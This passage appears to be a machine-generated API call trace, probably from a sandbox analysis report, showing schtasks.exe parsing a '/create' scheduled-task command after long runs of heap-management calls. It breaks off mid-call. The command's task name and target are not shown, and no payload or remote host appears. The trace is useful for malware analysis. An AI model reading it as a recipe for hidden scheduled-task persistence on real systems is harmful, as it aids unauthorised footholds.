hHeap=0x270000) returned 1 [0140.891] GetProcessHeap () returned 0x270000 [0140.891] GetProcessHeap () returned 0x270000 [0140.891] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d4e0) returned 1 [0140.891] GetProcessHeap () returned 0x270000 [0140.891] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d4e0) returned 0x10 [0140.891] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d4e0 | out: hHeap=0x270000) returned 1 [0140.891] GetProcessHeap () returned 0x270000 [0140.891] GetProcessHeap () returned 0x270000 [0140.891] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc20) returned 1 [0140.891] GetProcessHeap () returned 0x270000 [0140.891] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cc20) returned 0x20 [0140.891] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc20 | out: hHeap=0x270000) returned 1 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28dcb0) returned 1 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28dcb0) returned 0x8 [0140.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28dcb0 | out: hHeap=0x270000) returned 1 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc50) returned 1 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cc50) returned 0x20 [0140.894] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc50 | out: hHeap=0x270000) returned 1 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] GetProcessHeap () returned 0x270000 [0140.894] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d500) returned 1 [0140.894] GetProcessHeap () returned 0x270000 [0140.895] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d500) returned 0x10 [0140.895] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d500 | out: hHeap=0x270000) returned 1 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc80) returned 1 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cc80) returned 0x20 [0140.895] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc80 | out: hHeap=0x270000) returned 1 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28dcd0) returned 1 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28dcd0) returned 0x8 [0140.895] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28dcd0 | out: hHeap=0x270000) returned 1 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ccb0) returned 1 [0140.895] GetProcessHeap () returned 0x270000 [0140.895] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ccb0) returned 0x20 [0140.896] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ccb0 | out: hHeap=0x270000) returned 1 [0140.896] GetProcessHeap () returned 0x270000 [0140.896] GetProcessHeap () returned 0x270000 [0140.896] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28dd70) returned 1 [0140.896] GetProcessHeap () returned 0x270000 [0140.896] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28dd70) returned 0x70 [0140.896] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28dd70 | out: hHeap=0x270000) returned 1 [0140.896] GetProcessHeap () returned 0x270000 [0140.896] GetProcessHeap () returned 0x270000 [0140.896] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cce0) returned 1 [0140.896] GetProcessHeap () returned 0x270000 [0140.896] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cce0) returned 0x20 [0140.897] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cce0 | out: hHeap=0x270000) returned 1 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ddf0) returned 1 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ddf0) returned 0x8 [0140.897] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ddf0 | out: hHeap=0x270000) returned 1 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd10) returned 1 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cd10) returned 0x20 [0140.897] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd10 | out: hHeap=0x270000) returned 1 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d580) returned 1 [0140.897] GetProcessHeap () returned 0x270000 [0140.897] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d580) returned 0x10 [0140.898] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d580 | out: hHeap=0x270000) returned 1 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd40) returned 1 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cd40) returned 0x20 [0140.898] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd40 | out: hHeap=0x270000) returned 1 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28de10) returned 1 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28de10) returned 0x6 [0140.898] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28de10 | out: hHeap=0x270000) returned 1 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd70) returned 1 [0140.898] GetProcessHeap () returned 0x270000 [0140.898] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cd70) returned 0x20 [0140.899] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd70 | out: hHeap=0x270000) returned 1 [0140.899] GetProcessHeap () returned 0x270000 [0140.899] GetProcessHeap () returned 0x270000 [0140.899] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9b0) returned 1 [0140.899] GetProcessHeap () returned 0x270000 [0140.899] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b9b0) returned 0x18 [0140.899] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9b0 | out: hHeap=0x270000) returned 1 [0140.899] SetLastError (dwErrCode=0x0) [0140.899] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0140.899] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0140.899] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0140.899] VerifyVersionInfoW (in: lpVersionInformation=0x19c230, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c230) returned 1 [0140.900] SetLastError (dwErrCode=0x0) [0140.900] lstrlenW (lpString="create") returned 6 [0140.900] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0140.900] SetLastError (dwErrCode=0x490) [0140.900] SetLastError (dwErrCode=0x0) [0140.900] lstrlenW (lpString="create") returned 6 [0140.900] GetProcessHeap () returned 0x270000 [0140.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cd70 [0140.900] GetProcessHeap () returned 0x270000 [0140.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x18) returned 0x28d580 [0140.900] _memicmp (_Buf1=0x28d580, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.900] GetProcessHeap () returned 0x270000 [0140.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x16) returned 0x28d500 [0140.900] SetLastError (dwErrCode=0x0) [0140.900] _memicmp (_Buf1=0x28ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.900] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0140.900] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0140.900] GetProcessHeap () returned 0x270000 [0140.900] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x74e) returned 0x28dd70 [0140.901] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x28dd70 | out: lpData=0x28dd70) returned 1 [0140.901] VerQueryValueW (in: pBlock=0x28dd70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c318, puLen=0x19c380 | out: lplpBuffer=0x19c318*=0x28e10c, puLen=0x19c380) returned 1 [0140.901] _memicmp (_Buf1=0x28ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.901] _vsnwprintf (in: _Buffer=0x28bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c2f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0140.901] VerQueryValueW (in: pBlock=0x28dd70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c388, puLen=0x19c378 | out: lplpBuffer=0x19c388*=0x28df38, puLen=0x19c378) returned 1 [0140.901] lstrlenW (lpString="schtasks.exe") returned 12 [0140.901] lstrlenW (lpString="schtasks.exe") returned 12 [0140.901] lstrlenW (lpString=".EXE") returned 4 [0140.901] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0140.901] lstrlenW (lpString="schtasks.exe") returned 12 [0140.901] lstrlenW (lpString=".EXE") returned 4 [0140.901] lstrlenW (lpString="schtasks") returned 8 [0140.901] lstrlenW (lpString="/create") returned 7 [0140.901] _memicmp (_Buf1=0x28ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.901] _vsnwprintf (in: _Buffer=0x28bc10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c2f8 | out: _Buffer="schtasks /create") returned 16 [0140.901] _memicmp (_Buf1=0x28ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.901] GetProcessHeap () returned 0x270000 [0140.901] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x20) returned 0x28cd40 [0140.901] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.902] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0140.902] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0140.902] GetProcessHeap () returned 0x270000 [0140.902] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x30) returned 0x287ab0 [0140.902] _vsnwprintf (in: _Buffer=0x28c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c2f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0140.902] GetProcessHeap () returned 0x270000 [0140.902] GetProcessHeap () returned 0x270000 [0140.902] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28dd70) returned 1 [0140.902] GetProcessHeap () returned 0x270000 [0140.902] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28dd70) returned 0x74e [0140.902] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28dd70 | out: hHeap=0x270000) returned 1 [0140.902] SetLastError (dwErrCode=0x0) [0140.902] GetThreadLocale () returned 0x409 [0140.902] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.902] lstrlenW (lpString="create") returned 6 [0140.902] GetThreadLocale () returned 0x409 [0140.902] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.902] lstrlenW (lpString="?") returned 1 [0140.902] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="s") returned 1 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="u") returned 1 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="p") returned 1 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="ru") returned 2 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="rp") returned 2 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="sc") returned 2 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="mo") returned 2 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="d") returned 1 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="m") returned 1 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="i") returned 1 [0140.903] GetThreadLocale () returned 0x409 [0140.903] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.903] lstrlenW (lpString="tn") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="tr") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="st") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="sd") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="ed") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="it") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="et") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="k") returned 1 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="du") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="ri") returned 2 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="z") returned 1 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.904] lstrlenW (lpString="f") returned 1 [0140.904] GetThreadLocale () returned 0x409 [0140.904] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.905] lstrlenW (lpString="v1") returned 2 [0140.905] GetThreadLocale () returned 0x409 [0140.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.905] lstrlenW (lpString="xml") returned 3 [0140.905] GetThreadLocale () returned 0x409 [0140.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.905] lstrlenW (lpString="ec") returned 2 [0140.905] GetThreadLocale () returned 0x409 [0140.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.905] lstrlenW (lpString="rl") returned 2 [0140.905] GetThreadLocale () returned 0x409 [0140.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.905] lstrlenW (lpString="delay") returned 5 [0140.905] GetThreadLocale () returned 0x409 [0140.905] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.905] lstrlenW (lpString="np") returned 2 [0140.905] SetLastError (dwErrCode=0x0) [0140.905] SetLastError (dwErrCode=0x0) [0140.905] lstrlenW (lpString="/create") returned 7 [0140.905] lstrlenW (lpString="-/") returned 2 [0140.905] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.905] lstrlenW (lpString="create") returned 6 [0140.905] lstrlenW (lpString="create") returned 6 [0140.905] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.905] lstrlenW (lpString="create") returned 6 [0140.905] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.905] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|create|") returned 8 [0140.905] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|create|") returned 8 [0140.905] lstrlenW (lpString="|create|") returned 8 [0140.905] lstrlenW (lpString="|create|") returned 8 [0140.905] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0140.906] SetLastError (dwErrCode=0x0) [0140.906] SetLastError (dwErrCode=0x0) [0140.906] SetLastError (dwErrCode=0x0) [0140.906] lstrlenW (lpString="/tn") returned 3 [0140.906] lstrlenW (lpString="-/") returned 2 [0140.906] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.906] lstrlenW (lpString="create") returned 6 [0140.906] lstrlenW (lpString="create") returned 6 [0140.906] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.906] lstrlenW (lpString="tn") returned 2 [0140.906] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.906] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|create|") returned 8 [0140.906] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.906] lstrlenW (lpString="|create|") returned 8 [0140.906] lstrlenW (lpString="|tn|") returned 4 [0140.906] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0140.906] SetLastError (dwErrCode=0x490) [0140.906] lstrlenW (lpString="?") returned 1 [0140.906] lstrlenW (lpString="?") returned 1 [0140.906] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.906] lstrlenW (lpString="tn") returned 2 [0140.906] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.906] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|?|") returned 3 [0140.906] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.906] lstrlenW (lpString="|?|") returned 3 [0140.906] lstrlenW (lpString="|tn|") returned 4 [0140.906] SetLastError (dwErrCode=0x490) [0140.906] lstrlenW (lpString="s") returned 1 [0140.906] lstrlenW (lpString="s") returned 1 [0140.907] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.907] lstrlenW (lpString="tn") returned 2 [0140.907] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.907] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|s|") returned 3 [0140.907] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.907] lstrlenW (lpString="|s|") returned 3 [0140.907] lstrlenW (lpString="|tn|") returned 4 [0140.907] SetLastError (dwErrCode=0x490) [0140.907] lstrlenW (lpString="u") returned 1 [0140.907] lstrlenW (lpString="u") returned 1 [0140.907] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.907] lstrlenW (lpString="tn") returned 2 [0140.907] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.907] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|u|") returned 3 [0140.907] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.907] lstrlenW (lpString="|u|") returned 3 [0140.907] lstrlenW (lpString="|tn|") returned 4 [0140.907] SetLastError (dwErrCode=0x490) [0140.907] lstrlenW (lpString="p") returned 1 [0140.907] lstrlenW (lpString="p") returned 1 [0140.907] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.907] lstrlenW (lpString="tn") returned 2 [0140.907] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.907] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|p|") returned 3 [0140.907] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.907] lstrlenW (lpString="|p|") returned 3 [0140.908] lstrlenW (lpString="|tn|") returned 4 [0140.908] SetLastError (dwErrCode=0x490) [0140.908] lstrlenW (lpString="ru") returned 2 [0140.908] lstrlenW (lpString="ru") returned 2 [0140.908] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.908] lstrlenW (lpString="tn") returned 2 [0140.908] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.908] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|ru|") returned 4 [0140.908] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.908] lstrlenW (lpString="|ru|") returned 4 [0140.908] lstrlenW (lpString="|tn|") returned 4 [0140.908] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0140.908] SetLastError (dwErrCode=0x490) [0140.908] lstrlenW (lpString="rp") returned 2 [0140.908] lstrlenW (lpString="rp") returned 2 [0140.908] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.908] lstrlenW (lpString="tn") returned 2 [0140.908] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.908] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|rp|") returned 4 [0140.908] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.908] lstrlenW (lpString="|rp|") returned 4 [0140.908] lstrlenW (lpString="|tn|") returned 4 [0140.908] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0140.908] SetLastError (dwErrCode=0x490) [0140.908] lstrlenW (lpString="sc") returned 2 [0140.909] lstrlenW (lpString="sc") returned 2 [0140.909] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.909] lstrlenW (lpString="tn") returned 2 [0140.909] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.909] _vsnwprintf (in: _Buffer=0x28c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|sc|") returned 4 [0140.909] _vsnwprintf (in: _Buffer=0x28c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c308 | out: _Buffer="|tn|") returned 4 [0140.909] lstrlenW (lpString="|sc|") returned 4 [0140.909] lstrlenW (lpString="|tn|") returned 4 [0140.909] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0140.909] SetLastError (dwErrCode=0x490) [0140.909] lstrlenW (lpString="mo") returned 2 [0140.909] lstrlenW (lpString="mo") returned 2 [0140.909] _memicmp (_Buf1=0x28c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.909] lstrlenW (lpString="tn") returned 2 [0140.909] _memicmp (_Buf1=0x28c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.909] _vsnwprintf (in: 